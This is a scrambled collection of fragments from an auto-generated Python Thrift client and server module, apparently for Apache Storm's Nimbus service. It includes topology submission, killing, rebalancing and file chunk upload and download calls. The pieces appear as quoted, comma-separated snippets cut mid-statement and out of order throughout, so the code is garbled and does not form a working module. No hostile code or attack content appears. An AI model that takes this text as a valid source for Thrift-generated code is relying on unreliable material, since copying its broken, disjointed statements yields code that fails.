oprot.writeMessageBegin(\"getTopologyConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = uploadChunk_result()", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopologyConf_result() result.read(self._iprot)", "NotAliveException as e: result.e = e oprot.writeMessageBegin(\"activate\", TMessageType.REPLY, seqid) result.write(oprot)", "oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() if self.e is not None:", "is not None: oprot.writeFieldBegin('uploadedJarLocation', TType.STRING, 2) oprot.writeString(self.uploadedJarLocation) oprot.writeFieldEnd() if self.jsonConf", "None, ), # 1 ) def __init__(self, location=None,): self.location =", "activate_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_activate(self, ):", "= submitTopologyWithOpts_result() try: self._handler.submitTopologyWithOpts(args.name, args.uploadedJarLocation, args.jsonConf, args.topology, args.options) except AlreadyAliveException", "result.e return def killTopologyWithOpts(self, name, options): \"\"\" Parameters: - name", "\"\"\" thrift_spec = ( None, # 0 (1, TType.STRING, 'file',", "import TProcessor from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol,", "break if fid == 0: if ftype == TType.STRUCT: self.success", "else: iprot.skip(ftype) elif fid == 5: if ftype == TType.STRUCT:", "# 0 (1, TType.STRING, 'name', None, None, ), # 1", "if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd()", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_result') if self.success is not None: oprot.writeFieldBegin('success',", "options \"\"\" thrift_spec = ( None, # 0 (1, TType.STRING,", "file): \"\"\" Parameters: - file \"\"\" pass def downloadChunk(self, id):", "- name - uploadedJarLocation - jsonConf - topology - options", "= getTopologyInfo_args() args.read(iprot) iprot.readMessageEnd() result = getTopologyInfo_result() try: result.success =", "chunk args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_uploadChunk(self, ): (fname, mtype, rseqid)", "NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopology\", TMessageType.REPLY, seqid) result.write(oprot)", "options string: py # from thrift.Thrift import TType, TMessageType, TException,", "- name - options \"\"\" thrift_spec = ( None, #", "= Processor.process_finishFileUpload self._processMap[\"beginFileDownload\"] = Processor.process_beginFileDownload self._processMap[\"downloadChunk\"] = Processor.process_downloadChunk self._processMap[\"getNimbusConf\"] =", "\"\"\" thrift_spec = ( (0, TType.STRING, 'success', None, None, ),", "args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopology(self, ): (fname,", "self.success = iprot.readString(); else: iprot.skip(ftype) elif fid == 1: if", "name, options): self._oprot.writeMessageBegin('killTopologyWithOpts', TMessageType.CALL, self._seqid) args = killTopologyWithOpts_args() args.name =", "# 1 (2, TType.STRING, 'uploadedJarLocation', None, None, ), # 2", "name=None, options=None,): self.name = name self.options = options def read(self,", "== 1: if ftype == TType.STRING: self.location = iprot.readString(); else:", "return oprot.writeStructBegin('beginFileDownload_args') if self.file is not None: oprot.writeFieldBegin('file', TType.STRING, 1)", "self._seqid) args = activate_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "self._oprot.writeMessageBegin('killTopologyWithOpts', TMessageType.CALL, self._seqid) args = killTopologyWithOpts_args() args.name = name args.options", "oprot.trans.flush() def process_killTopology(self, seqid, iprot, oprot): args = killTopology_args() args.read(iprot)", "getTopologyInfo_args() args.read(iprot) iprot.readMessageEnd() result = getTopologyInfo_result() try: result.success = self._handler.getTopologyInfo(args.id)", "\"\"\" Parameters: - id \"\"\" self.send_getTopologyConf(id) return self.recv_getTopologyConf() def send_getTopologyConf(self,", "= self._oprot = iprot if oprot is not None: self._oprot", "= location args.chunk = chunk args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_uploadChunk(self,", "not None: return result.success if result.e is not None: raise", "oprot.writeMessageBegin(\"getTopologyInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyConf(self, seqid, iprot,", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_args') if self.name is not", "None, None, ), # 2 ) def __init__(self, location=None, chunk=None,):", "submitTopologyWithOpts_args() args.name = name args.uploadedJarLocation = uploadedJarLocation args.jsonConf = jsonConf", "), # 2 ) def __init__(self, name=None, options=None,): self.name =", "= name self.options = options def read(self, iprot): if iprot.__class__", "def process_beginFileUpload(self, seqid, iprot, oprot): args = beginFileUpload_args() args.read(iprot) iprot.readMessageEnd()", "self.topology is not None: oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() if", "self.recv_submitTopology() def send_submitTopology(self, name, uploadedJarLocation, jsonConf, topology): self._oprot.writeMessageBegin('submitTopology', TMessageType.CALL, self._seqid)", "send_getUserTopology(self, id): self._oprot.writeMessageBegin('getUserTopology', TMessageType.CALL, self._seqid) args = getUserTopology_args() args.id =", "- name \"\"\" self.send_activate(name) self.recv_activate() def send_activate(self, name): self._oprot.writeMessageBegin('activate', TMessageType.CALL,", "deactivate(self, name): \"\"\" Parameters: - name \"\"\" self.send_deactivate(name) self.recv_deactivate() def", "is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() if self.uploadedJarLocation", "oprot.writeMessageEnd() oprot.trans.flush() def process_deactivate(self, seqid, iprot, oprot): args = deactivate_args()", "TType.STRUCT: self.options = SubmitOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_result')", "def killTopologyWithOpts(self, name, options): \"\"\" Parameters: - name - options", "def __eq__(self, other): return isinstance(other, self.__class__) and self.__dict__ == other.__dict__", "None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "args = activate_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "return oprot.writeStructBegin('getClusterInfo_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0)", "name - options \"\"\" self.send_killTopologyWithOpts(name, options) self.recv_killTopologyWithOpts() def send_killTopologyWithOpts(self, name,", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_args') if self.name is not None:", "1) oprot.writeString(self.location) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "self.file is not None: oprot.writeFieldBegin('file', TType.STRING, 1) oprot.writeString(self.file) oprot.writeFieldEnd() oprot.writeFieldStop()", "= ( None, # 0 (1, TType.STRING, 'id', None, None,", "__ne__(self, other): return not (self == other) class getTopologyInfo_result: \"\"\"", "% (name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid) x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() return else:", "other) class submitTopology_result: \"\"\" Attributes: - e - ite \"\"\"", "e oprot.writeMessageBegin(\"getUserTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() # HELPER FUNCTIONS", "ARE SURE THAT YOU KNOW WHAT YOU ARE DOING #", "if fid == 1: if ftype == TType.STRING: self.file =", "== TMessageType.EXCEPTION: x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result", "args = getTopologyConf_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "e: result.e = e oprot.writeMessageBegin(\"killTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "downloadChunk_result() result.success = self._handler.downloadChunk(args.id) oprot.writeMessageBegin(\"downloadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "oprot.writeStructBegin('getClusterInfo_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot)", "Parameters: - name - options \"\"\" self.send_killTopologyWithOpts(name, options) self.recv_killTopologyWithOpts() def", "None, ), # 2 ) def __init__(self, e=None, ite=None,): self.e", "TApplicationException(TApplicationException.MISSING_RESULT, \"downloadChunk failed: unknown result\"); def getNimbusConf(self, ): self.send_getNimbusConf() return", "- id \"\"\" pass def getNimbusConf(self, ): pass def getClusterInfo(self,", "killTopologyWithOpts(self, name, options): \"\"\" Parameters: - name - options \"\"\"", "self.name = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "None, # 0 (1, TType.STRUCT, 'e', (AlreadyAliveException, AlreadyAliveException.thrift_spec), None, ),", "location - chunk \"\"\" pass def finishFileUpload(self, location): \"\"\" Parameters:", "iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "options \"\"\" pass def beginFileUpload(self, ): pass def uploadChunk(self, location,", "def send_downloadChunk(self, id): self._oprot.writeMessageBegin('downloadChunk', TMessageType.CALL, self._seqid) args = downloadChunk_args() args.id", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_downloadChunk(self, seqid, iprot, oprot): args", "e oprot.writeMessageBegin(\"getTopologyConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopology(self, seqid,", "self.thrift_spec is not None and fastbinary is not None: fastbinary.decode_binary(self,", "self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot):", "not None: oprot.writeFieldBegin('chunk', TType.STRING, 2) oprot.writeString(self.chunk) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def", "file): self._oprot.writeMessageBegin('beginFileDownload', TMessageType.CALL, self._seqid) args = beginFileDownload_args() args.file = file", "TType.STRING, 2) oprot.writeString(self.chunk) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "== TType.STRUCT: self.topology = StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype)", "self.recv_killTopologyWithOpts() def send_killTopologyWithOpts(self, name, options): self._oprot.writeMessageBegin('killTopologyWithOpts', TMessageType.CALL, self._seqid) args =", "location args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_finishFileUpload(self, ): (fname, mtype, rseqid)", "None, ), # 5 ) def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None,", "from thrift.Thrift import TProcessor from thrift.transport import TTransport from thrift.protocol", "__ne__(self, other): return not (self == other) class killTopology_result: \"\"\"", "getTopologyInfo(self, id): \"\"\" Parameters: - id \"\"\" pass def getTopologyConf(self,", "oprot.trans.flush() # HELPER FUNCTIONS AND STRUCTURES class submitTopology_args: \"\"\" Attributes:", "else: iprot.skip(ftype) elif fid == 2: if ftype == TType.STRING:", "self._processMap[\"getTopology\"] = Processor.process_getTopology self._processMap[\"getUserTopology\"] = Processor.process_getUserTopology def process(self, iprot, oprot):", "iprot, oprot): args = getTopology_args() args.read(iprot) iprot.readMessageEnd() result = getTopology_result()", "None: oprot.writeFieldBegin('chunk', TType.STRING, 2) oprot.writeString(self.chunk) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise result.e return", "other) class deactivate_result: \"\"\" Attributes: - e \"\"\" thrift_spec =", "self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING,", "None: return result.success if result.e is not None: raise result.e", "raise x result = killTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is", "= deactivate_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_deactivate(self,", "TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and", "as ite: result.ite = ite oprot.writeMessageBegin(\"submitTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "- id \"\"\" self.send_getUserTopology(id) return self.recv_getUserTopology() def send_getUserTopology(self, id): self._oprot.writeMessageBegin('getUserTopology',", "def __ne__(self, other): return not (self == other) class getTopologyInfo_args:", "getTopologyInfo_args: \"\"\" Attributes: - id \"\"\" thrift_spec = ( None,", "location \"\"\" pass def beginFileDownload(self, file): \"\"\" Parameters: - file", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_deactivate(self, seqid, iprot, oprot): args", "== other) class killTopology_args: \"\"\" Attributes: - name \"\"\" thrift_spec", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = finishFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd()", "def send_getClusterInfo(self, ): self._oprot.writeMessageBegin('getClusterInfo', TMessageType.CALL, self._seqid) args = getClusterInfo_args() args.write(self._oprot)", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "1 ) def __init__(self, id=None,): self.id = id def read(self,", "), # 1 ) def __init__(self, success=None, e=None,): self.success =", "name): \"\"\" Parameters: - name \"\"\" pass def killTopologyWithOpts(self, name,", "other): return not (self == other) class getUserTopology_result: \"\"\" Attributes:", "(self == other) class getUserTopology_result: \"\"\" Attributes: - success -", "oprot.writeStructBegin('getUserTopology_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id)", "= beginFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return", "- jsonConf - topology \"\"\" pass def submitTopologyWithOpts(self, name, uploadedJarLocation,", "name): \"\"\" Parameters: - name \"\"\" self.send_deactivate(name) self.recv_deactivate() def send_deactivate(self,", "result.e = e oprot.writeMessageBegin(\"activate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "- e - ite \"\"\" thrift_spec = ( None, #", "name - options \"\"\" pass def beginFileUpload(self, ): pass def", "= downloadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return", "class submitTopologyWithOpts_args: \"\"\" Attributes: - name - uploadedJarLocation - jsonConf", "1: if ftype == TType.STRING: self.id = iprot.readString(); else: iprot.skip(ftype)", "self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopologyWithOpts(self, ): (fname,", "seqid, iprot, oprot): args = getNimbusConf_args() args.read(iprot) iprot.readMessageEnd() result =", "def __ne__(self, other): return not (self == other) class downloadChunk_args:", "iprot.skip(ftype) elif fid == 1: if ftype == TType.STRUCT: self.e", "self._processMap[\"deactivate\"] = Processor.process_deactivate self._processMap[\"rebalance\"] = Processor.process_rebalance self._processMap[\"beginFileUpload\"] = Processor.process_beginFileUpload self._processMap[\"uploadChunk\"]", "process_getTopologyConf(self, seqid, iprot, oprot): args = getTopologyConf_args() args.read(iprot) iprot.readMessageEnd() result", "self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id) oprot.writeFieldEnd() oprot.writeFieldStop()", "(self == other) class getNimbusConf_result: \"\"\" Attributes: - success \"\"\"", "send_getClusterInfo(self, ): self._oprot.writeMessageBegin('getClusterInfo', TMessageType.CALL, self._seqid) args = getClusterInfo_args() args.write(self._oprot) self._oprot.writeMessageEnd()", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_result') if self.success is not", "other) class finishFileUpload_result: thrift_spec = ( ) def read(self, iprot):", "\"\"\" pass def getTopology(self, id): \"\"\" Parameters: - id \"\"\"", "Attributes: - success \"\"\" thrift_spec = ( (0, TType.STRUCT, 'success',", "except AlreadyAliveException as e: result.e = e except InvalidTopologyException as", "TType.STRING, 1) oprot.writeString(self.file) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() if self.e is not", "else: iprot.skip(ftype) elif fid == 3: if ftype == TType.STRING:", "None, None, ), # 1 (2, TType.STRUCT, 'options', (RebalanceOptions, RebalanceOptions.thrift_spec),", "oprot.writeMessageBegin(\"getTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getUserTopology(self, seqid, iprot,", "result = uploadChunk_result() self._handler.uploadChunk(args.location, args.chunk) oprot.writeMessageBegin(\"uploadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = beginFileDownload_result() result.read(self._iprot) self._iprot.readMessageEnd()", "topology self.options = options def read(self, iprot): if iprot.__class__ ==", "getTopologyInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success", "e def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "class finishFileUpload_args: \"\"\" Attributes: - location \"\"\" thrift_spec = (", "NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self,", "not (self == other) class beginFileUpload_args: thrift_spec = ( )", "pass def beginFileDownload(self, file): \"\"\" Parameters: - file \"\"\" pass", "THAT YOU KNOW WHAT YOU ARE DOING # # options", "self.send_beginFileUpload() return self.recv_beginFileUpload() def send_beginFileUpload(self, ): self._oprot.writeMessageBegin('beginFileUpload', TMessageType.CALL, self._seqid) args", "TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() if self.e is not None: oprot.writeFieldBegin('e',", "== other) class deactivate_result: \"\"\" Attributes: - e \"\"\" thrift_spec", "== TType.STRING: self.success = iprot.readString(); else: iprot.skip(ftype) elif fid ==", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_result') if self.success", "finishFileUpload_args: \"\"\" Attributes: - location \"\"\" thrift_spec = ( None,", "chunk): self._oprot.writeMessageBegin('uploadChunk', TMessageType.CALL, self._seqid) args = uploadChunk_args() args.location = location", "Processor.process_getTopologyInfo self._processMap[\"getTopologyConf\"] = Processor.process_getTopologyConf self._processMap[\"getTopology\"] = Processor.process_getTopology self._processMap[\"getUserTopology\"] = Processor.process_getUserTopology", "unknown result\"); def getNimbusConf(self, ): self.send_getNimbusConf() return self.recv_getNimbusConf() def send_getNimbusConf(self,", "args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_rebalance(self, ): (fname,", "( (0, TType.STRING, 'success', None, None, ), # 0 )", "= getClusterInfo_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getClusterInfo(self, ): (fname, mtype,", "# options string: py # from thrift.Thrift import TType, TMessageType,", "result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getUserTopology failed:", "self.thrift_spec))) return oprot.writeStructBegin('rebalance_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING,", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_result') if", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getNimbusConf(self, seqid, iprot, oprot): args", "oprot): args = getUserTopology_args() args.read(iprot) iprot.readMessageEnd() result = getUserTopology_result() try:", "None, ), # 4 ) def __init__(self, name=None, uploadedJarLocation=None, jsonConf=None,", "- location \"\"\" thrift_spec = ( None, # 0 (1,", "ftype == TType.STRING: self.location = iprot.readString(); else: iprot.skip(ftype) elif fid", "oprot.writeFieldBegin('ite', TType.STRUCT, 2) self.ite.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "e: result.e = e oprot.writeMessageBegin(\"getTopologyConf\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_result') if self.success is not None:", "name - uploadedJarLocation - jsonConf - topology \"\"\" thrift_spec =", "jsonConf, topology, options): self._oprot.writeMessageBegin('submitTopologyWithOpts', TMessageType.CALL, self._seqid) args = submitTopologyWithOpts_args() args.name", "self.send_getTopology(id) return self.recv_getTopology() def send_getTopology(self, id): self._oprot.writeMessageBegin('getTopology', TMessageType.CALL, self._seqid) args", "= iprot if oprot is not None: self._oprot = oprot", "- id \"\"\" self.send_getTopologyInfo(id) return self.recv_getTopologyInfo() def send_getTopologyInfo(self, id): self._oprot.writeMessageBegin('getTopologyInfo',", "self.location is not None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() oprot.writeFieldStop()", "if result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyConf", "(self == other) class beginFileDownload_result: \"\"\" Attributes: - success \"\"\"", "location - chunk \"\"\" thrift_spec = ( None, # 0", "iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "result = submitTopology_result() try: self._handler.submitTopology(args.name, args.uploadedJarLocation, args.jsonConf, args.topology) except AlreadyAliveException", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_args')", "class submitTopology_args: \"\"\" Attributes: - name - uploadedJarLocation - jsonConf", "'file', None, None, ), # 1 ) def __init__(self, file=None,):", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_args') if self.id is not None:", "result\"); def uploadChunk(self, location, chunk): \"\"\" Parameters: - location -", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_args') if self.name is not None:", "oprot.writeString(self.name) oprot.writeFieldEnd() if self.uploadedJarLocation is not None: oprot.writeFieldBegin('uploadedJarLocation', TType.STRING, 2)", "getClusterInfo_result: \"\"\" Attributes: - success \"\"\" thrift_spec = ( (0,", "= getTopologyConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return", "class getTopology_args: \"\"\" Attributes: - id \"\"\" thrift_spec = (", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_downloadChunk(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "x result = killTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not", "raise x result = submitTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is", "1) oprot.writeString(self.name) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "= id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopology(self, ): (fname, mtype,", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopologyWithOpts(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "self.options = options def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "return oprot.writeStructBegin('uploadChunk_args') if self.location is not None: oprot.writeFieldBegin('location', TType.STRING, 1)", "= StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "= InvalidTopologyException() self.ite.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_args') if self.name", "def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options): \"\"\" Parameters: -", "other): return not (self == other) class beginFileDownload_args: \"\"\" Attributes:", "__ne__(self, other): return not (self == other) class getNimbusConf_args: thrift_spec", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = uploadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd()", "id): self._oprot.writeMessageBegin('getTopology', TMessageType.CALL, self._seqid) args = getTopology_args() args.id = id", "other) class getTopologyConf_args: \"\"\" Attributes: - id \"\"\" thrift_spec =", "= location def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "def process_deactivate(self, seqid, iprot, oprot): args = deactivate_args() args.read(iprot) iprot.readMessageEnd()", "result = submitTopologyWithOpts_result() try: self._handler.submitTopologyWithOpts(args.name, args.uploadedJarLocation, args.jsonConf, args.topology, args.options) except", "while True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype ==", "iprot.readMessageEnd() result = activate_result() try: self._handler.activate(args.name) except NotAliveException as e:", "- uploadedJarLocation - jsonConf - topology - options \"\"\" thrift_spec", "\"\"\" thrift_spec = ( (0, TType.STRUCT, 'success', (TopologyInfo, TopologyInfo.thrift_spec), None,", "TMessageType.CALL, self._seqid) args = getUserTopology_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd()", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_args') if self.name is", "not (self == other) class submitTopologyWithOpts_args: \"\"\" Attributes: - name", "x result = beginFileDownload_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not", "- chunk \"\"\" pass def finishFileUpload(self, location): \"\"\" Parameters: -", "oprot) return True def process_submitTopology(self, seqid, iprot, oprot): args =", "rseqid) = self._iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException()", "thrift_spec = ( (0, TType.STRUCT, 'success', (TopologyInfo, TopologyInfo.thrift_spec), None, ),", "args = submitTopology_args() args.name = name args.uploadedJarLocation = uploadedJarLocation args.jsonConf", "options): self._oprot.writeMessageBegin('killTopologyWithOpts', TMessageType.CALL, self._seqid) args = killTopologyWithOpts_args() args.name = name", "if result.e is not None: raise result.e return def killTopologyWithOpts(self,", "oprot.trans.flush() def process_getClusterInfo(self, seqid, iprot, oprot): args = getClusterInfo_args() args.read(iprot)", "beginFileUpload_result: \"\"\" Attributes: - success \"\"\" thrift_spec = ( (0,", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_args') oprot.writeFieldStop()", "id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_downloadChunk(self, ): (fname, mtype, rseqid)", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_args')", "other) class getTopology_result: \"\"\" Attributes: - success - e \"\"\"", "self.uploadedJarLocation is not None: oprot.writeFieldBegin('uploadedJarLocation', TType.STRING, 2) oprot.writeString(self.uploadedJarLocation) oprot.writeFieldEnd() if", "__ne__(self, other): return not (self == other) class killTopologyWithOpts_args: \"\"\"", "class killTopologyWithOpts_args: \"\"\" Attributes: - name - options \"\"\" thrift_spec", "def __ne__(self, other): return not (self == other) class submitTopologyWithOpts_result:", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_rebalance(self, seqid, iprot, oprot): args =", "args = killTopology_args() args.read(iprot) iprot.readMessageEnd() result = killTopology_result() try: self._handler.killTopology(args.name)", "class Client(Iface): def __init__(self, iprot, oprot=None): self._iprot = self._oprot =", "= submitTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result = submitTopologyWithOpts_result() try: self._handler.submitTopologyWithOpts(args.name, args.uploadedJarLocation,", "), # 1 ) def __init__(self, id=None,): self.id = id", "return not (self == other) class downloadChunk_args: \"\"\" Attributes: -", "\"\"\" Parameters: - id \"\"\" pass def getUserTopology(self, id): \"\"\"", "TType.STOP: break if fid == 0: if ftype == TType.STRUCT:", "True: (fname, ftype, fid) = iprot.readFieldBegin() if ftype == TType.STOP:", "self.thrift_spec))) return oprot.writeStructBegin('killTopology_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING,", "NotAliveException as e: result.e = e oprot.writeMessageBegin(\"killTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot)", "= deactivate_result() try: self._handler.deactivate(args.name) except NotAliveException as e: result.e =", "= e self.ite = ite def read(self, iprot): if iprot.__class__", "None: raise result.ite return def killTopology(self, name): \"\"\" Parameters: -", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "x result = activate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not", "= 